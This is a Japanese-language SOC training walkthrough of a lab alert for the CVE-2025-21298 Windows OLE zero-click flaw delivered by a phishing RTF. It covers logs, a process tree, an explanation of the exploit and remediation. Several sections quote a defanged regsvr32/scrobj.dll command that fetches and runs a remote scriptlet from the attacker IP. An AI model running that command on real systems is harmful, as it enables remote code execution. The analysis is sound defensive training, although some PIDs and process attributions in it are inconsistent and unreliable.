SOC336-Windows-OLE-Zero-Click-RCE-Exploitation-Detected-CVE-2025-21298

SOC336 - Windows OLE ゼロクリックRCE悪用の検出 (CVE-2025-21298) ウォークスルー

• メールセキュリティ
• ログ管理
• プロキシログ
• エンドポイントセキュリティ
• ターミナル履歴
• ネットワークアクション
• プロセス
• CVE-2025-21298

(トップに戻る)

状況

当社の従業員の1人であるAustinは、不審な送信者からフィッシングメールを受信し、2025年2月4日午後4時18分にOutlookを使用してメールを開いた後、アラートがトリガーされました。トリガー理由は 「既知のCVE-2025-21298エクスプロイトパターンが特定された悪意のあるRTF添付ファイル」 でした。

(トップに戻る)

アラート概要

EventID : 314

イベント時間 : Feb, 04, 2025, 04:18 PM (間違っていると思います)

ルール : SOC336 - Windows OLE Zero-Click RCE Exploitation Detected (CVE-2025-21298)

レベル : Security Analyst

SMTPアドレス : 84.38.130.118

送信元アドレス : [email protected]

宛先アドレス : [email protected]

メール件名 : 重要: 今後のプロジェクト締め切りに向けた対応が必要です

添付ファイル : mail.rtf

添付ファイルハッシュ : df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184

デバイスアクション : 許可

トリガー理由 : 既知のCVE-2025-21298エクスプロイトパターンが特定された悪意のあるRTF添付ファイル。

(トップに戻る)

使用ツール

1. VirusTotal
2. AbuseIPDB
3. Gemini

(トップに戻る)

分析

アラートのトリアージのために、メールセキュリティ、ログ管理、エンドポイントセキュリティのログを詳しく調べてみましょう。

メールセキュリティ

送信者アドレス projectmanagement@pm[.]me を検索し、同日の午前5時12分に送信されたメール「重要: 今後のプロジェクト締め切りに向けた対応が必要です」をクリックしました。「Important」や「Action Required」といった緊急性のある調子や表現からフィッシングメールであることが示唆され、不審に感じました。

VirusTotalでドメイン pm[.]me を検索したところ、1つのベンダーのみが不審と判定しました。

しかし、SMTPアドレス 84[.]38[.]130[.]118 を検索したところ、7つのベンダーが悪意のあるマルウェアとしてフラグを立て、SILVER C2サーバーに関連していることが判明しました。

84[.]38[.]130[.]118 はAbuseIPDBデータベースにも登録されていました。所在地はラトビアのリガにあり、ドメイン名 rixhost.lv に属し、DDoS攻撃、ハッキング、悪用されたホストに分類されています。

最後に、添付ファイル mail.rtf のハッシュ df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184 をVirusTotalで検索したところ、61ベンダー中29ベンダーが添付ファイルを悪意のあるものとしてフラグを立てました。マルウェアファミリー rtfmalformb に属し、脆弱性CVE-2025-21298に関連付けられています。

悪意のある添付ファイルが付いたフィッシングメールがAustinに送信されたことが確認されました。

(トップに戻る)

ログ管理

Austinがフィッシングメールを開いた午前5時12分以降に不審なアクティビティがなかったか調査してみましょう。

プロキシログ

まずプロキシログを確認し、送信者の悪意のあるIPアドレス 84[.]38[.]130[.]118 を検索したところ、午前8時06分に、cmd.exeによって開始された hxxp://84[.]38[.]130[.]118/shell[.]sct というURLへのHTTP GETリクエストがあり、Windowsスクリプトレットファイルをダウンロードしていたことが判明しました。レスポンスコードは200 OKで、ファイアウォールによってブロックされず、送信トラフィックが許可されていたことを示しています。リバースシェルスクリプトを含む可能性のあるスクリプトファイルを取得するのは異常なことでした。

(トップに戻る)

エンドポイントセキュリティ

ターミナル履歴

悪意のあるIPアドレスへの送信トラフィックがcmd.exeによって開始されたため、まずターミナル履歴を確認しました。午前8時06分08秒に「C:\Windows\System32\cmd.exe /c regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll」というコマンドが実行され、scrobj.dllによって悪意のあるIPアドレスからスクリプトファイルを取得するためにregsvr32.exeが起動されたことがわかりました。

• regsvr32.exe: Windowsレジストリ内のDLLやActiveXコントロールなどのOLEコントロールを登録および登録解除するコマンドラインユーティリティ
• /s: regsvr32.exeをバックグラウンドでサイレントに実行する
• /u: WindowsにこのキーをWindowsレジストリへ追加しないように強制する
• /i: インターフェース
• scrobj.dll: スクリプトレットファイルを処理するScript Object Runtime Library

Windowsの組み込みユーティリティを使用してスクリプトを取得すると、システム上に最小限の痕跡しか残らず、リバースエンジニアリングやマルウェア解析のプロセスがより困難になります！

(トップに戻る)

ネットワークアクション

コマンド実行のイベント後に、午前8時06分42秒に悪意のあるIP 84[.]38[.]130[.]118 への接続があったことが確認されました。

(トップに戻る)

プロセス

では、なぜメールをクリックしただけでcmd.exeが実行されたのでしょうか？ Austinによる悪意のある添付ファイル mail.rtf のダウンロードの証拠は見つかりませんでしたが、エンドポイントログを確認し、午前8時06分頃のイベントを検索しました。

プロセスID: 7023

イベント時間: Feb 04 2025 08:06:25

コマンドライン: "regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll"

親プロセス: cmd.exe

では、親プロセスのcmd.exeを見てみましょう。

プロセスID: 6784

イベント時間: Feb 04 2025 08:06:08

コマンドライン: "regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll"

親プロセス: outlook.exe

そして最後にoutlook.exeの親プロセスを確認しました。

プロセスID: 4820

イベント時間: Feb 04 2025 08:05:15

コマンドライン: "C:\Windows\System32\cmd.exe"

親プロセス: explorer.exe

以上から、悪意のあるプロセスをツリーとして次のように結論付けることができます：

explorer.exe -> outlook.exe (PID:4820) -> cmd.exe (PID:4784) -> regsvr32.exe (PID:7023) -> ! スクリプトの実行 !

しかし、悪意のある添付ファイルをダウンロードして開いていないのに、どのようにして悪意のあるプロセスが開始されたのか、またoutlook.exeがどのように悪意のあるプロセスを生成したのか疑問が残っていましたが、CVE-2025-21298に関する情報を見つけて解決しました。

(トップに戻る)

CVE-2025-21298

Offsecの記事によると、2025年1月に、メール経由でRCEを可能にするCVSSスコア9.8のWindows OLEの重大なゼロクリック脆弱性が存在しました。標的となった受信者がMicrosoft Outlookで、埋め込まれたスクリプトを含む有害な RTF文書 を含む悪意のあるメールを開くかプレビューするだけで、この脆弱性がトリガーされ、攻撃者は影響を受けるシステム上で任意のコードを実行できるようになります。

Windows OLEとRTF文書のハイジャックプロセスについてGoogleとGeminiで調査し、私のリバースエンジニアリングに関する知識と関連付けてみました：

1. RTF文書を開くかプレビューすると、ole32.dll内のUtOlePresStmToContentsStm関数が、pstmContentsが指すOLEオブジェクトを使用して、サムネイル画像データ(OlePres)を読み取り、実際のデータファイル(CONTENT)に書き出します。
2. この関数は、攻撃者のRTFファイルの破損した形式により予期しない処理エラーを即座にトリガーし、OLEオブジェクトの削除を引き起こしますが、pstmContentsポインタは削除されません。
3. 悪意のあるRTFファイルは、削除されたOLEオブジェクトとまったく同じサイズの悪意のあるコードを含む悪意のあるOLEオブジェクトを作成し、pstmContentsポインタがまだ指している同じメモリ領域を埋めます。
4. Outlookがプレビューを終了した後、悪意のある偽のOLEオブジェクト内で、悪意のあるコード「regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll」を含む偽の「クリーンアップ」プロセスを実行します。
5. 被害者のシステムはリモートペイロードを実行し、クリックなしで自動的にリバースシェルを確立します。

(トップに戻る)

プレイブック

隔離されていない

悪意あり

アクセス済み

(トップに戻る)

アナリストノート

分類: 重大

タイプ: マルウェア

活動時間:

2025年2月4日 午前5時12分 (フィッシングメール受信)

2025年2月4日 午前8時05分15秒 - 2025年2月4日 午前8時06分42秒 (フィッシングメールが開かれ、悪意のあるコードが実行された)

影響を受けたエンティティ:

送信元アドレス: projectmanagement@pm[.]me

SMTPアドレス: 84[.]38[.]130[.]118

受信者メールアドレス: Austin@letsdefend[.]io

受信者IPアドレス: 172[.]16[.]17[.]137

ホスト名: Austin

真陽性と判断した理由:

2025年2月4日午前5時12分に、不審な件名「重要: 今後のプロジェクト締め切りに向けた対応が必要です」のメールが、添付ファイル mail.rtf (SHA256ハッシュ: df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184) とともに [email protected] (IPアドレス: 84.38.130.118) から [email protected] (IPアドレス: 172.16.17.137) に送信されました。件名に使われている緊急性のある調子や表現からフィッシングメールであることが示唆されました。脅威インテリジェンスのVirusTotalとAbuseIPDBは、ラトビアのリガに所在し、ドメイン名 rixhost.lv に属する送信者のIPアドレスと、添付ファイルを悪意のあるマルウェアとしてフラグを立てました。

プロキシログによると、午前8時06分に、cmd.exeによって開始された hxxp://84[.]38[.]130[.]118/shell[.]sct というURLへのHTTP GETリクエストがあり、Windowsスクリプトレットファイルをダウンロードしていました。レスポンスコードは200 OKで、悪意のあるIPアドレスへの送信トラフィックがファイアウォールによってブロックされず許可されていたことを示しています。

エンドポイントセキュリティログによると、悪意のあるコード「regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll」(PID: 7023) は、outlook.exe (PID: 4820) から生成されたcmd.exe (PID: 6784) によって開始されました。

この悪用は、2025年1月に、メール経由でRCEを可能にするCVSSスコア9.8のWindows OLEの重大なゼロクリック脆弱性(CVE-2025-21298)によって引き起こされました。標的となった受信者がMicrosoft Outlookで、埋め込まれたスクリプトを含む有害なRTF文書を含む悪意のあるメールを開くかプレビューするだけで、この脆弱性がトリガーされ、攻撃者は影響を受けるシステム上で任意のコードを実行できるようになり、C2サーバーへのリバースシェルを確立する可能性があります。

エスカレーションの理由:

活発な侵害後のC2ネットワークトラフィックはまだ明確には観測されていませんが、エンドポイントセキュリティログにより、スクリプトレットファイル shell.sct を取得するためにscrobj.dllを使用したregsvr32.exeの実行が確認されました。CVE-2025-21298のCVSSスコアが9.8であることから、ホスト上に永続化やデータ流出などの不審なアクティビティがないか確認するためのさらなる調査が必要です。

対策:

• ホストAustinを社内ネットワークから直ちに切断する
• 「regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll」およびその関連プロセスであるcmd.exe、outlook.exeを終了する
• 84[.]38[.]130[.]118 への送信トラフィックをブロックする
• ドメイン rixhost[.]lv をブラックリストに追加する
• メールサーバーで送信者 projectmanagement@pm[.]me をブラックリストに追加する
• 脆弱性CVE-2025-21298にパッチを適用する
• Austinの認証情報をリセットする
• ホストAustinでメモリ解析を実施し、shell.sct実行後のC2接続、永続化、データ流出などの悪意のあるアクティビティを調査する
• shell.sctのリバースエンジニアリングを実施する
• メールヘッダーの発信元IP、リターンアドレスを調査するためにメール解析を実施する
• regsvr32.exeによって開始されたインターネットアクセスをブロックする
• 従業員が未知の送信者からのメールや緊急性のある調子・表現のメールを開かないよう教育するためのフィッシング啓発キャンペーンを実施する

侵害インジケータ：

• 送信元アドレス： projectmanagement@pm[.]me
送信元IPアドレス： 84[.]38[.]130[.]118 送信元ドメイン： rixhost[.]lv
• フィッシングメール： 「重要：今後のプロジェクトの期限に向けて対応が必要です」
悪意のある文書： mail.rtf (SHA256ハッシュ： df993d037cdb77a435d6993a37e7750dbbb16b2df64916499845b56aa9194184)
• 悪意のあるプロセスツリー： outlook.exe (PID： 4820) -> cmd.exe (PID： 6784) -> regsvr32.exe /s /u /i:hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll" (PID： 7023)
• 第2ペイロードへのURL： hxxp[://]84[.]38[.]130[.]118[.]com/shell[.]sct scrobj.dll

(トップに戻る)

参考

CVE-2025-21298 詳細

CVE-2025-21298： Windows OLEの重大なゼロクリック脆弱性

(トップに戻る)